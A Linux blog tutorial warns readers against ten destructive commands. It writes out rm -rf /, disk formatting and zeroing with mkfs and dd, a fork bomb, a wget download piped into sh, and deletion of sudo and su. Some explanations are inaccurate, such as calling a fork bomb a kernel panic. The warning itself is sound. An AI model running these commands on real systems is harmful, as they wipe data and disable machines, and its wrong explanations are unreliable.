Miscellaneouss

Top 10 Most Dangerous Linux Commands – Think Before Execute

Linux command is interesting and productive but sometime it may be dangerous when you are not sure what you are doing. Please think twice before executing below commands.

In this tutorial I am going to explain top 10 most Linux dangerous commands you should never execute on Linux.

1. rm -rf command

The rm -rf command has ability to delete anything you want without any confirmation. If you do any typo mistake like me may result into unrecoverable system damage.

# rm -rf /

Be careful when you are executing rm -rf command. Above command is executed on the / root directory, which clean your all system.There are two option with rm command -r which forces recursive deletion through all sub-directories and -f which forces deletion of read only files without any confirmation.

2. mkfs.ext4 /dev/hda

If you execute mkfs.ext4 /dev/hda command it will format the block “hda”  with ext4 filesystem.

# mkfs.ext4 /dev/hda

Formatting is useful for external drive and disk partitions, but executing it on entire hard drive such /dev/hda/ is dangerous and leave your system in an unrecoverable state.

3. dd if=/dev/zero of=/dev/hda

This command will wipe out the block hda and will completely zero out your hard drive. This command will completely zero out your hard hard drive without any data corruptions and overwrites, it will fill your hard drive with zeroes.

# dd if=/dev/zero of=/dev/hda

4. mv / /dev/null

This command will move “/” to /dev/null. We can say /dev/null is a black hole in Linux anything given to it as input will be eaten up.

# mv / /dev/null

Above command will move / and its contents to /dev/null,which means everything there was sent to back hole.

5.  :(){:|:&};: Command

The above is a fork bomb, which is a special type of kernel panic. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in background. It executes in loops till the system freezes.

# :(){:|:&};:

6. wget http://an-untrusted-url -O- | sh

Wget used to retrieves the contents of a web URL, and used to download and access websites. In the below command will download a script from untrusted source and then execute it. Wget used with sh to download script and execute it after download.

# wget http://an-untrusted-url -O- | sh

Please be careful before downloading packages and scripts form internet. Use only trusted source to download scripts and application.

7. command > /dev/hda

This command will overwrite entire hard drive. It will write the output of ‘command‘on the block /dev/hda. The below command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.

command > /dev/hda

8. > filename

> is used to flush the content of file. If you do any typo mistake with ” > system.conf” will change the configuration file content or will change any other system configuration files.

# cat text.txt > system.conf

Above system.conf file content replaced with text.txt content.

9. ^foo^bar

This command is used to edit the previous run command without the need of retyping the whole command again. Be careful before doing this and check the change in original command using ^foo^bar command.

10. rm -f /usr/bin/sudo;rm -f /bin/su

This is final command. If you deletes both command sudo and su by mistake from your system without any confirmation, leaving you in jam.

# rm -f /usr/bin/sudo;rm -f /bin/su

I hope this article will remind you before running above commands. If you have any queries and problem please comment in comment section.

Thanks:)

Thank you! for visiting LookLinux.

If you find this tutorial helpful please share with your friends to keep it alive. For more helpful topic browse my website www.looklinux.com. To become an author at LookLinux Submit Article. Stay connected to Facebook.

About the author

mm

Santosh Prasad

Hi! I'm Santosh and I'm here to post some cool article for you. If you have any query and suggestion please comment in comment section.

Leave a Comment